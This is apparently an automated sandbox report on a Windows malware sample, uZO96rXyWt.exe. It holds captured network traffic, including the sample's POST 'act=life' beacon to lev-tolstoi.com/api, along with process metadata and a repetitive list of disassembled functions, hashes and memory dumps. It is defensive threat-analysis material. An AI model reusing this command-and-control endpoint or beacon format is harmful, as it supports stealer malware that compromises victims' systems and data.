2024-12-23 05:44:12 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49723	104.21.66.86	443	7688	C:\Users\user\Desktop\uZO96rXyWt.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:44:14 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-23 05:44:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 05:44:15 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:44:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bhjf5u2g45cfp1j6uuqi1ca9cd; expires=Thu, 17 Apr 2025 23:30:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xz1aqTYmUZ%2BxkatsxnahcDKI2eLNNc%2FawUNEJzWfQdeBc%2Bt9YinrmxhYSNa1fkYw2mRU%2BClYe02gw0DL1i39png5oA7xA6jEuo9w1vn7qM9iltuny9Sl8Gbx5GnkO%2FgrIsw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6609e4ea6d42b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1599&min_rtt=1582&rtt_var=627&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1697674&cwnd=236&unsent_bytes=0&cid=da8007afef15f462&ts=749&x=0"
2024-12-23 05:44:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 05:44:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:44:05
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\uZO96rXyWt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\uZO96rXyWt.exe"
Imagebase:	0xc50000
File size:	1'822'720 bytes
MD5 hash:	61E51E787B161B21769AAB5C29FC8003
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.9%
Total number of Nodes:	61
Total number of Limit Nodes:	4

Executed Functions

Function 00C5ACF0 Relevance: 9.2, Strings: 7, Instructions: 430
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

'sZu, xrefs: 00C5ADCD
&wXy, xrefs: 00C5ADD4
e7o9, xrefs: 00C5AF9F
/O_q, xrefs: 00C5ADC6
h? !, xrefs: 00C5AFB3
&K M, xrefs: 00C5ADBF
Jk"m, xrefs: 00C5ADF7

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: &K M$&wXy$'sZu$/O_q$Jk"m$e7o9$h? !
API String ID: 0-2986092683
Opcode ID: 181a7a8bc312df0563fe5169c33029880d4f139d4101ac0e233fd166a4ca690d
Instruction ID: 60180a757b210fa8a85ef3e01933cfc9ad0707862995eae7495898607b6fe70a
Opcode Fuzzy Hash: 181a7a8bc312df0563fe5169c33029880d4f139d4101ac0e233fd166a4ca690d
Instruction Fuzzy Hash: BE0287B5201B01CFD324CF25D895B9BBBF1FB49305F108A2DE5AA8BAA0D775A945CF40

Function 00C58850 Relevance: 1.7, APIs: 1, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 00C58AD2

Part of subcall function 00C5C550: CoInitializeEx.COMBASE(00000000,00000002), ref: 00C5C564

Part of subcall function 00C5B390: FreeLibrary.KERNEL32(00C58AB8), ref: 00C5B396
Part of subcall function 00C5B390: FreeLibrary.KERNEL32 ref: 00C5B3B7

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID: FreeLibrary$ExitInitializeProcess
String ID:
API String ID: 3534244204-0
Opcode ID: 2f43f29de515e63f1aead575fb002ce84a97cf6be0bf1c67e26efb2b2e9ef2af
Instruction ID: fc2f463e4ac91ba5be47c13a00e30b1719854bfa21b9eb18d4aa18644bb19f76
Opcode Fuzzy Hash: 2f43f29de515e63f1aead575fb002ce84a97cf6be0bf1c67e26efb2b2e9ef2af
Instruction Fuzzy Hash: 455197BBF102180BD71CAEA98C467AA75878BC5B10F1F813E5D50EB7D6EDB48C0952C9

Function 00C8C1F0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00C8E31B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 00C8C21E

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00C8C767 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

,+*), xrefs: 00C8C790

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: ,+*)
API String ID: 0-3529585375
Opcode ID: 96822a42b60cebd710ef038a54533bf7e139f55d540d72c905a4c143e43fe924
Instruction ID: 4f30435df1f7d1df3986ca25ca7f597ffdf6f98f7fdfbe3d399f9f5fd68860be
Opcode Fuzzy Hash: 96822a42b60cebd710ef038a54533bf7e139f55d540d72c905a4c143e43fe924
Instruction Fuzzy Hash: 8B319139B402119BEB18CF5CDCD5BBEB7B2BB49304F249129E502A73D4CB75A9018B64

Function 00C5B70C Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

o`, xrefs: 00C5B74B

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: o`
API String ID: 0-3993896143
Opcode ID: 69756c3413678ad6d1686681bb02e6e319ae205b9be6eb17fa1e8b1749053873
Instruction ID: 0046880811defdf22e41a56d8e43e7585040b8b89fb1179529813d08a65bcbbc
Opcode Fuzzy Hash: 69756c3413678ad6d1686681bb02e6e319ae205b9be6eb17fa1e8b1749053873
Instruction Fuzzy Hash: D011C270219380AFC3008F65DDC1B6EBFE2ABC6204F54983EE19197261C675E9499715

Function 00C59C4A Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fb94f392570bbeeb8f3e6944523e139bfd043440a4edf8e02def52a4ada5668
Instruction ID: a1d70f0b9333f104142dd4f57a886546c54748a22c3429c7dfbd190ecce63fe6
Opcode Fuzzy Hash: 7fb94f392570bbeeb8f3e6944523e139bfd043440a4edf8e02def52a4ada5668
Instruction Fuzzy Hash: 3E110475A893808FD304DF68D9813ABBBD2EBD6314F08552DE1D1AB351C774990E8B0B

Function 00C8C180 Relevance: 1.5, APIs: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,00000000,?,?,00C5B2E4,00000000,00000001), ref: 00C8C1B2

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 95f6f17fa13b7f0eb01877f02011d41f8c070f54a4977bee3bd5c9bd89f08d1f
Instruction ID: f509af90edfa8df6b3e5d764031cc5681718e4a81274a389fa091cc2433ff19b
Opcode Fuzzy Hash: 95f6f17fa13b7f0eb01877f02011d41f8c070f54a4977bee3bd5c9bd89f08d1f
Instruction Fuzzy Hash: 4BF0E972429111DBD2143F247C49FAF3764AF86728F054576FC0152161D735D401BBAB

Function 00C5C583 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00C5C596

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: b35a1db25cf8c34e89c88b473cd4cb58379f8b3b25dc40872a93bda152bc14b8
Instruction ID: b8bb787f4e41ee7733147dd18dfdd98816c6abca8723d23001e91edd8aca14e4
Opcode Fuzzy Hash: b35a1db25cf8c34e89c88b473cd4cb58379f8b3b25dc40872a93bda152bc14b8
Instruction Fuzzy Hash: F9D0C9313D538176F53496089C57F1922019702F54F341A097366FE2D0CAD17601850C

Function 00C5C550 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 00C5C564

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 7f44bf695d0f3dfb7b09c80baaa793a1ff3ee3de096832783f11c6bf0b1e191f
Instruction ID: 3b84e2faee5b808db973acabcb6dbd531d95351eb6204733e9b44cbf7de60de0
Opcode Fuzzy Hash: 7f44bf695d0f3dfb7b09c80baaa793a1ff3ee3de096832783f11c6bf0b1e191f
Instruction Fuzzy Hash: A8D0A72129064C27D104A2299C4BF27731C8B827A4F40061EEAA2C62C1DB806A158562

Function 00C8AAA0 Relevance: 1.5, APIs: 1, Instructions: 13
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?,00C8C1D6,?,00C5B2E4,00000000,00000001), ref: 00C8AABE

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 6ddd6e988e98c247493fe4e98b55b9c45628455a419bda2e4f4317ff94c74e1c
Instruction ID: 2f79633c82a30b00a8405edcf867c0d22e9640ee3cd9963b9c12b456db2f9e72
Opcode Fuzzy Hash: 6ddd6e988e98c247493fe4e98b55b9c45628455a419bda2e4f4317ff94c74e1c
Instruction Fuzzy Hash: 2CD01231515522EBCB102F24FC0AB9E3B68EF0A764F074861B5006B0F1C665EC9097D4

Function 00C8AA80 Relevance: 1.5, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00C8C1C0), ref: 00C8AA90

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 059b055cd5321cdae1759c4ac7dde29156a69b4459d7402f79da7effd71c9d3e
Instruction ID: 6327096b2ebd60d221a2ee53158c48ca143f395654f73dd1f85137775cc2ccbe
Opcode Fuzzy Hash: 059b055cd5321cdae1759c4ac7dde29156a69b4459d7402f79da7effd71c9d3e
Instruction Fuzzy Hash: CDC04831055120AACA102B15EC09FCA3B68EF46665F0644A1BA05670B2C661AC929BD8

Function 00CA8158 Relevance: 1.3, APIs: 1, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00CA8AE9

Memory Dump Source

Source File: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
